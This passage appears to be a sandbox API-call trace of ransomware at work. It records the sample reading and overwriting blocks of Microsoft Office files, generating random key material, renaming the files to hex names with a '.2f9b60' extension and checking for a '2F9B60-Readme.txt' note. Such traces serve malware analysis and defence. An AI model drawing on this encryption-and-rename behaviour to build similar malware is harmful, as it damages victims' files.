dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.321] ReadFile (in: hFile=0x1bf0, lpBuffer=0x41ca6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2179f640, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesRead=0x2179f640*=0x3c00, lpOverlapped=0x0) returned 1 [0134.343] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0134.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0134.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0134.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267320) returned 1 [0134.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cb1d40 [0134.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0134.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0134.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267440) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0134.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0134.345] WriteFile (in: hFile=0x1bf0, lpBuffer=0x41cb1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2179f640, lpOverlapped=0x0 | out: lpBuffer=0x41cb1d40*, lpNumberOfBytesWritten=0x2179f640*=0x3c00, lpOverlapped=0x0) returned 1 [0134.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb1d40) returned 1 [0134.355] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.356] ReadFile (in: hFile=0x1bf0, lpBuffer=0x41ca6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2179f640, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesRead=0x2179f640*=0x3c00, lpOverlapped=0x0) returned 1 [0134.381] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0134.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0134.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0134.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267410) returned 1 [0134.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cae130 [0134.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0134.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0134.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673e0) returned 1 [0134.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0134.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0134.385] WriteFile (in: hFile=0x1bf0, lpBuffer=0x41cae130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2179f640, lpOverlapped=0x0 | out: lpBuffer=0x41cae130*, lpNumberOfBytesWritten=0x2179f640*=0x3c00, lpOverlapped=0x0) returned 1 [0134.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cae130) returned 1 [0134.406] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x15800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.406] ReadFile (in: hFile=0x1bf0, lpBuffer=0x41ca6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2179f640, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesRead=0x2179f640*=0x3c00, lpOverlapped=0x0) returned 1 [0134.444] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x15800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0134.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0134.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267650 [0134.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267650) returned 1 [0134.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cb5950 [0134.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267650 [0134.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267680 [0134.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267680) returned 1 [0134.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0134.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0134.446] WriteFile (in: hFile=0x1bf0, lpBuffer=0x41cb5950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2179f640, lpOverlapped=0x0 | out: lpBuffer=0x41cb5950*, lpNumberOfBytesWritten=0x2179f640*=0x3c00, lpOverlapped=0x0) returned 1 [0134.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb5950) returned 1 [0134.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0xeb290 [0134.488] SetFilePointerEx (in: hFile=0x1bf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0134.488] WriteFile (in: hFile=0x1bf0, lpBuffer=0x133b80*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2179f6f0, lpOverlapped=0x0 | out: lpBuffer=0x133b80*, lpNumberOfBytesWritten=0x2179f6f0*=0x152, lpOverlapped=0x0) returned 1 [0140.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059150 [0140.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0140.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267740 [0140.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267740) returned 1 [0140.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267740 [0140.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267710 [0140.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202676b0 [0140.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202676b0) returned 1 [0140.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0140.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059150) returned 1 [0140.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x42059150 [0140.885] sprintf (in: _Dest=0x42059150, _Format="%c%c" | out: _Dest="69") returned 2 [0140.885] sprintf (in: _Dest=0x42059152, _Format="%c%c" | out: _Dest="48") returned 2 [0140.885] sprintf (in: _Dest=0x42059154, _Format="%c%c" | out: _Dest="b5") returned 2 [0140.885] sprintf (in: _Dest=0x42059156, _Format="%c%c" | out: _Dest="82") returned 2 [0140.885] sprintf (in: _Dest=0x42059158, _Format="%c%c" | out: _Dest="aa") returned 2 [0140.885] sprintf (in: _Dest=0x4205915a, _Format="%c%c" | out: _Dest="d1") returned 2 [0140.885] sprintf (in: _Dest=0x4205915c, _Format="%c%c" | out: _Dest="b9") returned 2 [0140.886] sprintf (in: _Dest=0x4205915e, _Format="%c%c" | out: _Dest="5b") returned 2 [0140.886] sprintf (in: _Dest=0x42059160, _Format="%c%c" | out: _Dest="9d") returned 2 [0140.886] sprintf (in: _Dest=0x42059162, _Format="%c%c" | out: _Dest="c8") returned 2 [0140.886] sprintf (in: _Dest=0x42059164, _Format="%c%c" | out: _Dest="46") returned 2 [0140.886] sprintf (in: _Dest=0x42059166, _Format="%c%c" | out: _Dest="4f") returned 2 [0140.886] sprintf (in: _Dest=0x42059168, _Format="%c%c" | out: _Dest="45") returned 2 [0140.886] sprintf (in: _Dest=0x4205916a, _Format="%c%c" | out: _Dest="ad") returned 2 [0140.886] sprintf (in: _Dest=0x4205916c, _Format="%c%c" | out: _Dest="08") returned 2 [0140.886] sprintf (in: _Dest=0x4205916e, _Format="%c%c" | out: _Dest="b8") returned 2 [0140.886] sprintf (in: _Dest=0x42059170, _Format="%c%c" | out: _Dest="70") returned 2 [0140.886] sprintf (in: _Dest=0x42059172, _Format="%c%c" | out: _Dest="54") returned 2 [0140.886] sprintf (in: _Dest=0x42059174, _Format="%c%c" | out: _Dest="fe") returned 2 [0140.886] sprintf (in: _Dest=0x42059176, _Format="%c%c" | out: _Dest="5f") returned 2 [0140.886] sprintf (in: _Dest=0x42059178, _Format="%c%c" | out: _Dest="ba") returned 2 [0140.886] sprintf (in: _Dest=0x4205917a, _Format="%c%c" | out: _Dest="7f") returned 2 [0140.886] sprintf (in: _Dest=0x4205917c, _Format="%c%c" | out: _Dest="78") returned 2 [0140.886] sprintf (in: _Dest=0x4205917e, _Format="%c%c" | out: _Dest="62") returned 2 [0140.886] sprintf (in: _Dest=0x42059180, _Format="%c%c" | out: _Dest="ab") returned 2 [0140.886] sprintf (in: _Dest=0x42059182, _Format="%c%c" | out: _Dest="25") returned 2 [0140.887] sprintf (in: _Dest=0x42059184, _Format="%c%c" | out: _Dest="f7") returned 2 [0140.887] sprintf (in: _Dest=0x42059186, _Format="%c%c" | out: _Dest="c7") returned 2 [0140.887] sprintf (in: _Dest=0x42059188, _Format="%c%c" | out: _Dest="57") returned 2 [0140.887] sprintf (in: _Dest=0x4205918a, _Format="%c%c" | out: _Dest="fd") returned 2 [0140.887] sprintf (in: _Dest=0x4205918c, _Format="%c%c" | out: _Dest="1b") returned 2 [0140.887] sprintf (in: _Dest=0x4205918e, _Format="%c%c" | out: _Dest="ac") returned 2 [0140.887] RtlInitAnsiString (in: DestinationString=0x2179f768, SourceString="6948b582aad1b95b9dc8464f45ad08b87054fe5fba7f7862ab25f7c757fd1bac" | out: DestinationString="6948b582aad1b95b9dc8464f45ad08b87054fe5fba7f7862ab25f7c757fd1bac") [0140.887] RtlAnsiStringToUnicodeString (in: DestinationString=0x2179f738, SourceString="6948b582aad1b95b9dc8464f45ad08b87054fe5fba7f7862ab25f7c757fd1bac", AllocateDestinationString=1 | out: DestinationString="6948b582aad1b95b9dc8464f45ad08b87054fe5fba7f7862ab25f7c757fd1bac") returned 0x0 [0140.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b86c090 [0140.887] RtlFreeAnsiString (AnsiString="6") [0140.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059150) returned 1 [0140.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267740) returned 1 [0140.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267710) returned 1 [0140.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x133b80) returned 1 [0140.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f4b0) returned 1 [0140.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267320) returned 1 [0140.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9eeb0) returned 1 [0140.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0xeb290) returned 1 [0140.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267350) returned 1 [0140.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267470) returned 1 [0140.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266de0) returned 1 [0140.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b86be50 [0140.889] wcscat (in: _Dest=0x1b86be50, _Source="6948b582aad1b95b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\6948b582aad1b95b") returned="C:\\Program Files\\Microsoft Office\\Office14\\6948b582aad1b95b" [0140.889] wcscat (in: _Dest=0x1b86be50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\6948b582aad1b95b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\6948b582aad1b95b.2f9b60" [0140.889] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\6948b582aad1b95b.2f9b60", NtPathName=0x2179f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\6948b582aad1b95b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0140.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b862b40 [0140.889] NtSetInformationFile (FileHandle=0x1bf0, IoStatusBlock=0x2179f7b0, FileInformation=0x1b862b40, Length=0xa4, FileInformationClass=0xa) returned 0x0 [0148.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862b40) returned 1 [0148.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fbaf0) returned 1 [0148.261] NtQueryInformationFile (in: FileHandle=0x1bf0, IoStatusBlock=0x2179f778, FileInformation=0x2179f788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2179f778, FileInformation=0x2179f788) returned 0x0 [0148.261] NtSetInformationFile (FileHandle=0x1bf0, IoStatusBlock=0x2179f778, FileInformation=0x2179f788, Length=0x28, FileInformationClass=0x4) [0203.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86be50) returned 1 [0203.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c090) returned 1 [0203.073] FlushFileBuffers (hFile=0x1bf0) returned 1 [0203.171] CloseHandle (hObject=0x1bf0) returned 1 [0207.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x431a1140 [0207.698] wcscpy (in: _Dest=0x431a1140, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0207.698] wcscat (in: _Dest=0x431a1140, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0207.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0207.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a1140) returned 1 [0207.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867240) returned 1 Thread: id = 1721 os_tid = 0x17f0 [0131.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_es.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_es.dub")) returned 0x20 [0132.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_es.dub", dwFileAttributes=0x20) returned 1 [0133.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_es.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_es.dub"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1be4 [0134.267] GetFileSizeEx (in: hFile=0x1be4, lpFileSize=0x2106fa60 | out: lpFileSize=0x2106fa60*=3072) returned 1 [0134.267] SetFilePointerEx (in: hFile=0x1be4, liDistanceToMove=0xbfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.267] ReadFile (in: hFile=0x1be4, lpBuffer=0x2106f9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2106fa28, lpOverlapped=0x0 | out: lpBuffer=0x2106f9e0*, lpNumberOfBytesRead=0x2106fa28*=0x4, lpOverlapped=0x0) returned 1 [0134.274] SetFilePointerEx (in: hFile=0x1be4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267470 [0134.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0134.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0134.275] NtQuerySystemTime (in: CurrentTime=0x2106f920 | out: CurrentTime=0x2106f920*=132462177395182000) returned 0x0 [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x649296ee [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x2fdb49da [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x44f2d2a1 [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x320169dc [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x60825562 [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x7d7a9d25 [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x61925bb1 [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x5ff1afdd [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x32c58501 [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x63e45cdd [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x58c2ec4f [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x1ee8adf0 [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x6ba8e370 [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x38c374ce [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x6db162f9 [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x227c7a4e [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x5d930fcb [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x4101a22c [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x1006b96c [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0xbcecc23 [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x5dffb2ee [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x2bedfe84 [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x1936237b [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x49650cea [0134.275] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0xc89252c [0134.276] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x5abb26a7 [0134.276] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x52e48e4a [0134.276] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x69441a75 [0134.276] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x1ed747f9 [0134.276] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x3aab7637 [0134.276] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x572f6f7f [0134.276] RtlRandomEx (in: Seed=0x2106f910 | out: Seed=0x2106f910) returned 0x6d058cac [0134.288] ReadFile (in: hFile=0x1be4, lpBuffer=0x41ca6910, nNumberOfBytesToRead=0xc00, lpNumberOfBytesRead=0x2106f910, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesRead=0x2106f910*=0xc00, lpOverlapped=0x0) returned 1 [0134.288] SetFilePointerEx (in: hFile=0x1be4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.288] WriteFile (in: hFile=0x1be4, lpBuffer=0x41caa520*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x2106f914, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesWritten=0x2106f914*=0xc00, lpOverlapped=0x0) returned 1 [0134.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6710 [0134.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6800 [0134.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6800) returned 1 [0134.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41caa520) returned 1 [0134.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ca6910) returned 1 [0134.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0134.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0134.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f970 [0134.295] SetFilePointerEx (in: hFile=0x1be4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0134.295] WriteFile (in: hFile=0x1be4, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2106fa30, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x2106fa30*=0x112, lpOverlapped=0x0) returned 1 [0134.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b20 [0134.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f390 [0134.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6da0 [0134.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6da0) returned 1 [0134.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6da0 [0134.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6f50 [0134.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6e90 [0134.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6e90) returned 1 [0134.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0134.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0134.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97b20 [0134.305] sprintf (in: _Dest=0x1cd97b20, _Format="%c%c" | out: _Dest="9d") returned 2 [0134.305] sprintf (in: _Dest=0x1cd97b22, _Format="%c%c" | out: _Dest="98") returned 2 [0134.305] sprintf (in: _Dest=0x1cd97b24, _Format="%c%c" | out: _Dest="94") returned 2 [0134.305] sprintf (in: _Dest=0x1cd97b26, _Format="%c%c" | out: _Dest="0b") returned 2 [0134.305] sprintf (in: _Dest=0x1cd97b28, _Format="%c%c" | out: _Dest="dc") returned 2 [0134.305] sprintf (in: _Dest=0x1cd97b2a, _Format="%c%c" | out: _Dest="7c") returned 2 [0134.305] sprintf (in: _Dest=0x1cd97b2c, _Format="%c%c" | out: _Dest="34") returned 2 [0134.305] sprintf (in: _Dest=0x1cd97b2e, _Format="%c%c" | out: _Dest="c6") returned 2 [0134.305] sprintf (in: _Dest=0x1cd97b30, _Format="%c%c" | out: _Dest="71") returned 2 [0134.305] sprintf (in: _Dest=0x1cd97b32, _Format="%c%c" | out: _Dest="05") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b34, _Format="%c%c" | out: _Dest="bc") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b36, _Format="%c%c" | out: _Dest="10") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b38, _Format="%c%c" | out: _Dest="89") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b3a, _Format="%c%c" | out: _Dest="a2") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b3c, _Format="%c%c" | out: _Dest="48") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b3e, _Format="%c%c" | out: _Dest="61") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b40, _Format="%c%c" | out: _Dest="d3") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b42, _Format="%c%c" | out: _Dest="8e") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b44, _Format="%c%c" | out: _Dest="c7") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b46, _Format="%c%c" | out: _Dest="ed") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b48, _Format="%c%c" | out: _Dest="49") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b4a, _Format="%c%c" | out: _Dest="1e") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b4c, _Format="%c%c" | out: _Dest="36") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b4e, _Format="%c%c" | out: _Dest="6d") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b50, _Format="%c%c" | out: _Dest="51") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b52, _Format="%c%c" | out: _Dest="1a") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b54, _Format="%c%c" | out: _Dest="21") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b56, _Format="%c%c" | out: _Dest="07") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b58, _Format="%c%c" | out: _Dest="64") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b5a, _Format="%c%c" | out: _Dest="d9") returned 2 [0134.306] sprintf (in: _Dest=0x1cd97b5c, _Format="%c%c" | out: _Dest="89") returned 2 [0134.307] sprintf (in: _Dest=0x1cd97b5e, _Format="%c%c" | out: _Dest="f7") returned 2 [0134.307] RtlInitAnsiString (in: DestinationString=0x2106faa8, SourceString="9d98940bdc7c34c67105bc1089a24861d38ec7ed491e366d511a210764d989f7" | out: DestinationString="9d98940bdc7c34c67105bc1089a24861d38ec7ed491e366d511a210764d989f7") [0134.307] RtlAnsiStringToUnicodeString (in: DestinationString=0x2106fa78, SourceString="9d98940bdc7c34c67105bc1089a24861d38ec7ed491e366d511a210764d989f7", AllocateDestinationString=1 | out: DestinationString="9d98940bdc7c34c67105bc1089a24861d38ec7ed491e366d511a210764d989f7") returned 0x0 [0134.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4b60 [0134.307] wcscat (in: _Dest=0x202a4650, _Source="9d98940bdc7c34c6" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\9d98940bdc7c34c6") returned="C:\\Program Files\\Microsoft Office\\Office14\\9d98940bdc7c34c6" [0134.307] wcscat (in: _Dest=0x202a4650, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft 